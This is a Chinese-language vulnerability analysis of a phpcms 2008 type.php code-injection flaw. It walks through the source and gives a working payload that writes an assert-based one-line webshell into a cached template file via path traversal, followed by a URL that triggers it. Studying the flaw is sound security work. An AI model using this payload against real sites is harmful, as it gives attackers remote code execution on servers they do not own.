phpcms 2008 type.php 前臺程式碼注入getshell漏洞分析
phpcms 2008 type.php 前臺程式碼注入getshell漏洞分析
tpye.php中:
<?php require dirname(__FILE__).'/include/common.inc.php'; ... if(empty($template)) $template = 'type'; ... include template('phpcms', $template); ... ?>
先看一下 require
進來的 include/common.inc.php
,在這個檔案第58行中存在如下程式碼:
if($_REQUEST) { if(MAGIC_QUOTES_GPC) { $_REQUEST = new_stripslashes($_REQUEST); if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE); extract($db->escape($_REQUEST), EXTR_SKIP); } else { $_POST = $db->escape($_POST); $_GET = $db->escape($_GET); $_COOKIE = $db->escape($_COOKIE); @extract($_POST,EXTR_SKIP); @extract($_GET,EXTR_SKIP); @extract($_COOKIE,EXTR_SKIP); } if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS); if($_COOKIE) $db->escape($_COOKIE); }
上面這段程式碼會通過 @extract()
將尚未註冊的變數進行註冊,如果有衝突,不覆蓋已有的變數。因此通過這個偽全域性可以繞過 if(empty($template)) $template = 'type';
這句話的指定,即 $template
變數可控。
跟入 template
函式,定義在 include/global.func.php:772
function template($module ='phpcms', $template ='index', $istag =0) { $compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php'; if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile))) { require_once PHPCMS_ROOT.'include/template.func.php'; template_compile($module, $template, $istag); } return $compiledtplfile; }
這裡會進行一些判斷, TPL_REFRESH
表示是否開啟模板快取自動重新整理,預設為1, 剩下的用於判斷快取超時。倘若需要更新快取則進入了 template_compile()
函式,根據上一句的 require_once
可知定義在 include/template.func.php:2
<?php function template_compile($module, $template, $istag =0) { $tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html'; $content = @file_get_contents($tplfile); if($content === false) showmessage("$tplfile is not exists!"); $compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php'; $content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content); $strlen = file_put_contents($compiledtplfile, $content); @chmod($compiledtplfile, 0777); return $strlen; }
重點看 $content = ($istag || substr($template, 0, 4) == 'tag_')
這一句。由於 $template
可控,只要 $template
以 tag_
開頭,就可以使得此處的三元表示式進入到第一個分支中,即相當於:
$content = '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>'
由於 $template
未經過濾,被直接拼接到內容中,所以如果指定 tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss
,則拼接後的結果為
$content = '<?php function _tag_phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>'
可以看到一句話木馬已經寫入了 $content
,之後 file_put_contents($compiledtplfile, $content);
將內容寫入檔案。
回到前面的 template_compile
函式中, TPL_CACHEPATH
為常量 PHPCMS_ROOT.'data/cache_template/
; 可知 $compiledtplfile
為:
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
即:
$compiledtplfile = 'data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss.tpl.php';
所以payload末尾的 ../
利用目錄穿越使得最後的 $compiledtplfile
為 'data/cache_template/rss.tpl.php
為了解析不出錯,payload末尾處的 //
註釋了拼接後的其餘部分,如上圖。
此後訪問 ofollow,noindex">http://127.0.0.1/phpcms/data/cache_template/rss.tpl.php?1=phpinfo( )